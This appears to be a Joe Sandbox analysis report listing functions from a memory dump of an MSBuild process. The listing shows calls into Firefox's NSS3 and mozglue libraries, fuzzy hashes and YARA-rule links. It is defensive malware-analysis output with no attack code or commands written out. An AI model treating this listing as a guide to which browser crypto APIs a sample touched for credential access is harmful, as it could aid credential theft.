Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: a5c8d9d83102bb189760f0abe4f472bc0717d1aef903c9b874b619b876f301f9
Instruction ID: 90feacfa7216eaf1bc4cc20c259fac1f58e37040c1f9a23d2f3a98e4690f0ce1
Opcode Fuzzy Hash: a5c8d9d83102bb189760f0abe4f472bc0717d1aef903c9b874b619b876f301f9
Instruction Fuzzy Hash: 56310172E02211ABE7009F29DC41E5ABBA8BF4571CB158226ED189BF41F731E845C7D2

Function 6CCC4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CCC4EB8,?), ref: 6CCC4884

Part of subcall function 6CCC8800: TlsGetValue.KERNEL32(?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8821
Part of subcall function 6CCC8800: TlsGetValue.KERNEL32(?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC883D
Part of subcall function 6CCC8800: EnterCriticalSection.KERNEL32(?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8856
Part of subcall function 6CCC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCC8887
Part of subcall function 6CCC8800: PR_Unlock.NSS3(?,?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCC4EB8,?,?,?,?,?,?,?,?,?,?,6CC878F8), ref: 6CCC484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCC4EB8,?,?,?,?,?,?,?,?,?,?,6CC878F8), ref: 6CCC486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC878F8), ref: 6CCC4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCC48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCC48B8

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: 22753b5f470655e1a80146c672af1a7291d6c1318fb9213664add1a55d876a26
Instruction ID: d611cccad55f034ea7e8df05a0d6adeaa00cf3544d48e9df29709b14c0074a72
Opcode Fuzzy Hash: 22753b5f470655e1a80146c672af1a7291d6c1318fb9213664add1a55d876a26
Instruction Fuzzy Hash: FC219F76F002409BEF109FA5ECC496677BCBB5665DB048528DF098BA12F721F81587A2

Function 6CC889E0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC888AE,-00000008), ref: 6CC88A04
EnterCriticalSection.KERNEL32(?), ref: 6CC88A15
memset.VCRUNTIME140(6CC888AE,00000000,00000132), ref: 6CC88A27
PR_Unlock.NSS3(?), ref: 6CC88A35
memset.VCRUNTIME140(6CC888AE,00000000,00000132,00000000,-00000008,00000000,?,?,6CC888AE,-00000008), ref: 6CC88A45
free.MOZGLUE(6CC888A6,?,6CC888AE,-00000008), ref: 6CC88A4E

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: memset$CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 65992600-0
Opcode ID: c84af238be8e818884cf9e83d0b237caf9888b7570323184230191b898983695
Instruction ID: 84faf70915bd029a7210cd8555609a6f7017b114f3d47b7cb993583627fb9da5
Opcode Fuzzy Hash: c84af238be8e818884cf9e83d0b237caf9888b7570323184230191b898983695
Instruction Fuzzy Hash: 1011E6B5E013019BEB009F69DC85EABBB7CFF0571CF000526EA0596A80F731EA9587E1

Function 6CD88910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD8892E

Part of subcall function 6CC60F00: PR_GetPageSize.NSS3(6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F1B
Part of subcall function 6CC60F00: PR_NewLogModule.NSS3(clock,6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F25

PR_Lock.NSS3 ref: 6CD88950

Part of subcall function 6CD39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CC61A48), ref: 6CD39BB3
Part of subcall function 6CD39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CC61A48), ref: 6CD39BC8

getprotobynumber.WSOCK32(?), ref: 6CD88959
GetLastError.KERNEL32(?), ref: 6CD88967
PR_GetCurrentThread.NSS3(?,?), ref: 6CD8896F
PR_Unlock.NSS3(?,?), ref: 6CD8898A

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 7710f52ea2ced871827567ee84f08869a7c8147530d42b8c458ea917d35d8957
Instruction ID: cf33d23dec1568ae8ba4d718c5f833db8194fa73c45fb42e3b2a67198fa1920b
Opcode Fuzzy Hash: 7710f52ea2ced871827567ee84f08869a7c8147530d42b8c458ea917d35d8957
Instruction Fuzzy Hash: CF11E572E151309BDB106FB99C4059A7768EF46338F0643A6ED0997BB1D7309C05CBD6

Function 6CD06840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CD0AA9B,?,?,?,?,?,?,?,00000000,?,6CD080C1), ref: 6CD06846

Part of subcall function 6CC61770: calloc.MOZGLUE(00000001,0000019C,?,6CC615C2,?,?,?,?,?,00000001,00000040), ref: 6CC6178D

PR_NewMonitor.NSS3(00000000,?,6CD0AA9B,?,?,?,?,?,?,?,00000000,?,6CD080C1), ref: 6CD06855

Part of subcall function 6CCC8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CC755D0,00000000,00000000), ref: 6CCC868B
Part of subcall function 6CCC8680: PR_NewLock.NSS3(00000000,00000000), ref: 6CCC86A0
Part of subcall function 6CCC8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CCC86B2
Part of subcall function 6CCC8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CCC86C8
Part of subcall function 6CCC8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CCC86E2
Part of subcall function 6CCC8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CCC86EC
Part of subcall function 6CCC8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CCC8700

PR_NewMonitor.NSS3(?,6CD0AA9B,?,?,?,?,?,?,?,00000000,?,6CD080C1), ref: 6CD0687D

Part of subcall function 6CC61770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC618DE
Part of subcall function 6CC61770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC618F1

PR_NewMonitor.NSS3(?,6CD0AA9B,?,?,?,?,?,?,?,00000000,?,6CD080C1), ref: 6CD0688C

Part of subcall function 6CC61770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC618FC
Part of subcall function 6CC61770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC6198A

PR_NewLock.NSS3 ref: 6CD068A5

Part of subcall function 6CD398D0: calloc.MOZGLUE(00000001,00000084,6CC60936,00000001,?,6CC6102C), ref: 6CD398E5

PR_NewLock.NSS3 ref: 6CD068B4

Part of subcall function 6CD398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CD39946
Part of subcall function 6CD398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF16B7,00000000), ref: 6CD3994E
Part of subcall function 6CD398D0: free.MOZGLUE(00000000), ref: 6CD3995E

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 05c7fb8758265bf988b58030be339592af5248e2a89f14854cd11c788dc0780f
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 2801F6B0B01B0786E7516F7E48103EBF6E86F01299F10093E8869C6AA0FF71D4498FA1

Function 6CD4A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CC17915,?,?), ref: 6CD4A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CC17915,?,?), ref: 6CD4A8A6

Strings

%s at line %d of [%.10s], xrefs: 6CD4A8A0
database corruption, xrefs: 6CD4A89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD4A891

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 025c74ca78eb924fca53f98889bd89e17a7dbfe2a69a4e8ac4579277eb0233d2
Instruction ID: 2147b0966ae499ebbe7fbc98bb0ad289d4b003d643d07a5e7d3d4e0a7bb54b4f
Opcode Fuzzy Hash: 025c74ca78eb924fca53f98889bd89e17a7dbfe2a69a4e8ac4579277eb0233d2
Instruction Fuzzy Hash: 4711E675A00214BBDB048F51DC41AAAB7A5FF49314F048439FE594BFA0EB34E91ADB92

Function 6CC60DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CC60BDE), ref: 6CC60DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CC60BDE), ref: 6CC60DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CC60BDE), ref: 6CC60DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CC60BDE), ref: 6CC60E32

Strings

%s incr => %d (find lib), xrefs: 6CC60E2D

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 467a5ce2a8294c00f56d38a511b3c0bc609f792f68b0535dc054f429ea25a69d
Instruction ID: 433580e3b02d74578de8194ceed762c4f99d365e44a5ddd8c5ad3b49f2bc382b
Opcode Fuzzy Hash: 467a5ce2a8294c00f56d38a511b3c0bc609f792f68b0535dc054f429ea25a69d
Instruction Fuzzy Hash: 1A01B571A016209FE6209B26DC85E1773ACDF45609B0544ADE945E3E52F761FC148BE1

Function 6CC0A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb9d207e207152df56fae351d46392cf140352f954842f4054bc3d0d4319b4a
Instruction ID: 5ae72cd700a7ca947d571743e7dddf7d34a180f3b8b17f49a06b39165f9f8908
Opcode Fuzzy Hash: 5fb9d207e207152df56fae351d46392cf140352f954842f4054bc3d0d4319b4a
Instruction Fuzzy Hash: 5091B471B402058FFB08DF65D9CAB6A37BDFB86315F04012DD74647A40EB3AA985CB91

Function 6CC8C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6CC8CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC8CA35
PR_Unlock.NSS3(00000000), ref: 6CC8CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6CC8CA77
PR_Unlock.NSS3(00000000), ref: 6CC8CAFC

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: 363d624ee3a374bf14b2ca9a270cb75f6d2c1178590fdc5600284246bc9f2ef4
Instruction ID: b52dafe33a53257ab0881510a1bea575e3f67c82d65e6d1128c0f51c4c56e3cb
Opcode Fuzzy Hash: 363d624ee3a374bf14b2ca9a270cb75f6d2c1178590fdc5600284246bc9f2ef4
Instruction Fuzzy Hash: DC410275E012059BEB00EF24D881AAB7BB8FF4538CF144224ED1897710EB34E951CBE1

Function 6CC6EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC6EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CC6EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CC6EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC6EEEB
free.MOZGLUE(?), ref: 6CC6EEF6

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 95b174721ad6e09499609e244e28531a8a714be833de555ef8395aee630117de
Instruction ID: 79381c578b12e66cc058a5a820a350d4089e4a64e52442aea27df4e4457b8776
Opcode Fuzzy Hash: 95b174721ad6e09499609e244e28531a8a714be833de555ef8395aee630117de
Instruction Fuzzy Hash: 3C31E771A006019BEB209F2ACDC47667BF8FB46714F14052EEA5A87E50F731E915CBE1

Function 6CCE68A0 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CCE68B4

Part of subcall function 6CD39090: TlsGetValue.KERNEL32 ref: 6CD390AB
Part of subcall function 6CD39090: TlsGetValue.KERNEL32 ref: 6CD390C9
Part of subcall function 6CD39090: EnterCriticalSection.KERNEL32 ref: 6CD390E5
Part of subcall function 6CD39090: TlsGetValue.KERNEL32 ref: 6CD39116
Part of subcall function 6CD39090: LeaveCriticalSection.KERNEL32 ref: 6CD3913F

Part of subcall function 6CC60F00: PR_GetPageSize.NSS3(6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F1B
Part of subcall function 6CC60F00: PR_NewLogModule.NSS3(clock,6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F25

PR_MillisecondsToInterval.NSS3(?), ref: 6CCE68E6
PR_MillisecondsToInterval.NSS3(?), ref: 6CCE6938
PR_MillisecondsToInterval.NSS3(?), ref: 6CCE6986
PR_ExitMonitor.NSS3(?), ref: 6CCE69BA

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: IntervalMillisecondsValue$CriticalEnterMonitorSection$ExitLeaveModulePageSize
String ID:
API String ID: 1802314673-0
Opcode ID: 23b32cb700fa39cd5c5999ff164e04cb00e3525e11df4ec7ad7729012229644f
Instruction ID: 4c5cfe7065ee3c90dbbd306f546efcb5e205cd1bd8ab7028e9ac358a5ead6825
Opcode Fuzzy Hash: 23b32cb700fa39cd5c5999ff164e04cb00e3525e11df4ec7ad7729012229644f
Instruction Fuzzy Hash: DD319331A10E15ABEB145B70ED083D6B674BF4B30AF040229DA1D51A51EB757868CF93

Function 6CC7AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CC73FFF,00000000,?,?,?,?,?,6CC71A1C,00000000,00000000), ref: 6CC7ADA7

Part of subcall function 6CCD14C0: TlsGetValue.KERNEL32 ref: 6CCD14E0
Part of subcall function 6CCD14C0: EnterCriticalSection.KERNEL32 ref: 6CCD14F5
Part of subcall function 6CCD14C0: PR_Unlock.NSS3 ref: 6CCD150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CC73FFF,00000000,?,?,?,?,?,6CC71A1C,00000000,00000000), ref: 6CC7ADB4

Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD10F3
Part of subcall function 6CCD10C0: EnterCriticalSection.KERNEL32(?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD110C
Part of subcall function 6CCD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1141
Part of subcall function 6CCD10C0: PR_Unlock.NSS3(?,?,?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD1182
Part of subcall function 6CCD10C0: TlsGetValue.KERNEL32(?,6CC78802,00000000,00000008,?,6CC6EF74,00000000), ref: 6CCD119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CC73FFF,?,?,?,?,6CC73FFF,00000000,?,?,?,?,?,6CC71A1C,00000000), ref: 6CC7ADD5

Part of subcall function 6CCCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCC8D2D,?,00000000,?), ref: 6CCCFB85
Part of subcall function 6CCCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCCFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD994B0,?,?,?,?,?,?,?,?,6CC73FFF,00000000,?), ref: 6CC7ADEC

Part of subcall function 6CCCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CDA18D0,?), ref: 6CCCB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC73FFF), ref: 6CC7AE3C

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 3ddaea3d29c950eeb4250a987b86810a229c5cfb74379b08feb92fbddc319264
Instruction ID: 8aecf4533925cf91c21341d1fbed51d83b8825b80589db655f34ef7b1aa45ed2
Opcode Fuzzy Hash: 3ddaea3d29c950eeb4250a987b86810a229c5cfb74379b08feb92fbddc319264
Instruction Fuzzy Hash: A4112662E002056BF7209B699C41BBF73B8DF9525EF044228ED1996A41FB20E95882F2

Function 6CC98E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CCB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC84F1C), ref: 6CC98EA2

Part of subcall function 6CCBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CCBF854
Part of subcall function 6CCBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CCBF868
Part of subcall function 6CCBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CCBF882
Part of subcall function 6CCBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CCBF889
Part of subcall function 6CCBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CCBF8A4
Part of subcall function 6CCBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CCBF8AB
Part of subcall function 6CCBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CCBF8C9
Part of subcall function 6CCBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CCBF8D0

